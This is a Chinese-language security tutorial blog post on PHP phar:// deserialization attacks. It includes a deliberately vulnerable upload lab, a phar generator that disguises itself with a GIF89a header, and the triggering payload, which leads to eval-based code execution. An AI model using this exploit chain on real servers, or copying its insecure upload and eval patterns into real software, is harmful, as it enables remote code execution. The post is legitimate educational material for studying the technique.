zoukankan      html  css  js  c++  java
  • phar反序列化

    我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

    一. PHAR简介

    PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

    二. PHAR文件结构

    Phar文件主要包含三至四个部分:

    1. a stub

    stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

    2. a manifest describing the contents

    Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点

    3. the file contents

    被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

    4. a signature for verifying Phar integrity

    签名格式

    来个小例子

    根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

    注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

    phar.php

     1 <?php
     2     class TestObject {
     3     }
     4     $phar = new Phar("phar.phar"); //后缀名必须为phar
     5     $phar->startBuffering();
     6     $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
     7     $o = new TestObject();
     8     $o -> data='hu3sky';
     9     $phar->setMetadata($o); //将自定义的meta-data存入manifest
    10     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    11     //签名自动计算
    12     $phar->stopBuffering();
    13 ?>

    访问后,会生成一个phar.phar在当前目录下。

    用winhex打开

    可以明显的看到meta-data是以序列化的形式存储的。
    有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

    phar_fan.php

    1 <?php
    2 class TestObject{
    3     function __destruct()
    4     {
    5         echo $this -> data;   // TODO: Implement __destruct() method.
    6     }
    7 }
    8 include('phar://phar.phar');
    9 ?>

    可以看到成功触发了反序列化

    三. 漏洞验证

    环境准备
    upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
    upload_file.html 文件上传表单
    file_un.php 存在file_exists(),并且存在__destruct()

    利用条件
    phar文件要能够上传到服务器端。
    如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
    要有可用的魔术方法作为“跳板”。
    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

    文件内容

    upload_file.php

     1 <?php
     2 if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
     3     echo "Upload: " . $_FILES["file"]["name"];
     4     echo "Type: " . $_FILES["file"]["type"];
     5     echo "Temp file: " . $_FILES["file"]["tmp_name"];
     6 
     7     if (file_exists("upload_file/" . $_FILES["file"]["name"]))
     8       {
     9       echo $_FILES["file"]["name"] . " already exists. ";
    10       }
    11     else
    12       {
    13       move_uploaded_file($_FILES["file"]["tmp_name"],
    14       "upload_file/" .$_FILES["file"]["name"]);
    15       echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    16       }
    17     }
    18 else
    19   {
    20   echo "Invalid file,you can only upload gif";
    21   }

    upload_file.html

    1 <body>
    2 <form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
    3     <input type="file" name="file" />
    4     <input type="submit" name="Upload" />
    5 </form>
    6 </body>

    file_un.php

     1 <?php
     2 $filename=$_GET['filename'];
     3 class AnyClass{
     4     var $output = 'echo "ok";';
     5     function __destruct()
     6     {
     7         eval($this -> output);
     8     }
     9 }
    10 file_exists($filename);

    实现过程

    首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

    构造代码

    eval.php

     1 <?php
     2 class AnyClass{
     3     var $output = 'echo "ok";';
     4     function __destruct()
     5     {
     6         eval($this -> output);
     7     }
     8 }
     9 $phar = new Phar('phar.phar');
    10 $phar -> stopBuffering();
    11 $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    12 $phar -> addFromString('test.txt','test');
    13 $object = new AnyClass();
    14 $object -> output= 'phpinfo();';
    15 $phar -> setMetadata($object);
    16 $phar -> stopBuffering();

    访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

    进行上传

    然后利用file_un.php。
    payload:filename=phar://upload_file/phar.gif

    参考:https://xz.aliyun.com/t/2715

  • 相关阅读:
    算法题目积累0721
    java编辑器
    java简易编辑器
    公选网站作业4_2.php
    php注册登录系统(一)-极简
    Tomcat与Web服务器、应用服务器的关系
    PHP用户登录与注册页面
    网站选修课作业(4.1)
    网站选修课作业(3.1)
    svn和ftp的区别
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13030571.html
Copyright © 2011-2022 走看看